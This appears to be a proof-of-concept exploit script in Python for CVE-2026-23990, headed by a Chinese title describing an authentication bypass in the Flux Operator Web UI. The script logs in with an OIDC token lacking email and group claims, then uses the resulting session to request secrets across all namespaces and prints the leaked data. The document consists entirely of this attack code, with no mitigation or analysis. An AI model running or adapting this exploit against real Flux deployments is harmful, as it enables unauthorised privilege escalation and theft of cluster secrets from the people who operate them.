CVE-2026-23990: Flux Operator Web UI身份验证绕过导致权限提升

# CVE-2026-23990 PoC - Flux Operator Privilege Escalation # Requires: OIDC provider with missing claims (email, groups) # Target: Flux Operator Web UI import requests import json TARGET = "https://<flux-operator-host>" OIDC_TOKEN = "<token-with-missing-claims>" def exploit(): headers = { "Authorization": f"Bearer {OIDC_TOKEN}", "Content-Type": "application/json" } # Step 1: Authenticate with incomplete OIDC token auth_resp = requests.post( f"{TARGET}/api/v1/auth/login", headers=headers, json={"token": OIDC_TOKEN} ) if auth_resp.status_code == 200: session = auth_resp.json().get("session_token") # Step 2: Execute API request that should be blocked by RBAC # Due to missing claims, request executes with service account privileges priv_esc_headers = { "Authorization": f"Bearer {session}" } # Attempt to access restricted resources escalate_resp = requests.get( f"{TARGET}/api/v1/namespaces/all/secrets", headers=priv_esc_headers ) # If successful, privilege escalation occurred if escalate_resp.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Leaked data: {escalate_resp.text[:500]}") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit()